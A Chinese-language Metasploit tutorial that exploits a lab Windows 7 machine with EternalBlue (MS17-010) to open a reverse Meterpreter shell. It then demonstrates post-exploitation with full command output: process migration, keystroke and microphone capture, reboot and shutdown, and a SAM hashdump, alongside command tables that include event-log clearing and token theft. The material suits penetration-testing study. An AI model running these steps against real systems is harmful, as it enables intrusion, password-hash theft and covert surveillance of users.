简述
Metasploit是一个广泛用于网络渗透测试和漏洞利用的开源工具。Metasploit框架是一个功能强大的工具集，用于发现、利用和管理计算机系统上的安全漏洞。它可以扫描漏洞、执行攻击、生成攻击载荷、自动化任务等。由于功能过于强大，因此，在使用Metasploit时务必遵守法律和伦理准则。
目标机器
Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
从Kali Linux开始
# msfconsole
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.1.8
rhost => 192.168.1.8
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] 192.168.1.8:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.8:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.1.8:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.8:445 - The target is vulnerable.
[*] 192.168.1.8:445 - Connecting to target for exploitation.
[+] 192.168.1.8:445 - Connection established for exploitation.
[+] 192.168.1.8:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.8:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.8:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.1.8:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.1.8:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.1.8:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.8:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.8:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.8:445 - Starting non-paged pool grooming
[+] 192.168.1.8:445 - Sending SMBv2 buffers
[+] 192.168.1.8:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.8:445 - Sending final SMBv2 buffers.
[*] 192.168.1.8:445 - Sending last fragment of exploit packet!
[*] 192.168.1.8:445 - Receiving response from exploit packet
[+] 192.168.1.8:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.8:445 - Sending egg to corrupted connection.
[*] 192.168.1.8:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.1.8
[+] 192.168.1.8:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.8:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.8:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 2 opened (192.168.1.10:4444 -> 192.168.1.8:1331) at 2023-08-26 06:06:57 -0400
meterpreter >
这样的情况下，我们的就算是进入到 Metasploit执行渗透环境里，
核心命令
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unic Disables encoding of unicode strings
ode_encoding
enable_unico Enables encoding of unicode strings
de_encoding
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session
ssl_verify Modify the SSL certificate verification setting
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
机器ID和UUID
meterpreter > machine_id
[+] Machine ID: 0593e9fa0a7180699c16e43085da4285
meterpreter > uuid
[+] UUID: 601c2463bbbbcd84/x64=2/windows=1/2023-08-26T13:28:44Z
meterpreter >
## 获取渗透主机的主机信息
```shell
meterpreter > sysinfo
Computer : CLIENT-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
转移进程
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 1056
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
...
720 500 svchost.exe x64 0 NT AUTHORITY\NETWORK SER
VICE
792 500 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVI
CE
848 500 svchost.exe x64 0 NT AUTHORITY\SYSTEM
872 500 svchost.exe x64 0 NT AUTHORITY\SYSTEM
1000 500 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVI
CE
1056 500 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spool
sv.exe
1116 500 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVI
CE
1264 500 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVI
CE
1308 500 svchost.exe x64 0 NT AUTHORITY\SYSTEM
1404 500 phpStudyServer x64 0 NT AUTHORITY\SYSTEM C:\phpstudy_pro\COM\phpSt
.exe udyServer.exe
3692 848 dwm.exe x64 1 client-PC\client C:\Windows\system32\Dwm.e
xe
3724 3668 explorer.exe x64 1 client-PC\client C:\Windows\Explorer.EXE
3840 3724 vmtoolsd.exe x64 1 client-PC\client C:\Program Files\VMware\V
Mware Tools\vmtoolsd.exe
...
meterpreter > migrate 1116
[*] Migrating from 1056 to 1116...
[-] core_migrate: Operation failed: Access is denied.
meterpreter > migrate 3724
[*] Migrating from 1056 to 3724...
[*] Migration completed successfully.
## 后台信息
```shell
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/smb/ms17_010_eternalblue) >
文件系统
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_sen Send keystrokes
d
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_star Start capturing keystrokes
t
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
网络命令
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
系统命令
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
关机&重启
meterpreter > reboot
Rebooting...
meterpreter >
[*] 192.168.1.8 - Meterpreter session 3 closed. Reason: Died
...
meterpreter > shutdown
Shutting down...
meterpreter >
[*] 192.168.1.8 - Meterpreter session 4 closed. Reason: Died
注意这里需要两个问题,
- 这个步骤之前需要转移（migrate）进程到本地用户的线程上，否则会抛出1314错误
- 一般来说被渗透主机开机但未登录账户场景下，无法转移到本地用户线程上。
UI命令
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
多媒体命令
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_strea Play a video stream from the specified webcam
play play a waveform audio file (.wav) on the target system
获取音频
meterpreter > record_mic -d 20
[*] Starting...
[-] Error running command record_mic: Rex::TimeoutError Send timed out
meterpreter > record_mic -d 5
[*] Starting...
[*] Stopped
Audio saved to: /home/kali/MclLMkkA.wav
播放音频
meterpreter > play /home/kali/MclLMkkA.wav
[*] Playing /home/kali/MclLMkkA.wav...
[*] Done
提升命令
getsystem Attempt to elevate your privilege to that of local system.
我们执行有些命令时候首先要获取本地系统权限，可以执行这个命令。
meterpreter > getsystem
[-] Already running as SYSTEM
密码数据命令
hashdump Dumps the contents of the SAM database
执行 hashdump 获取账户信息和账户密码密文数据
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
client:1000:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
总结
本文介绍了渗透后模块ms17_010_eternalblue的基本使用,后期需要结合场景从基础到高级进行提升和锻炼，本文涉及到了一些操作，请谨慎合法使用。本文仅供学习。
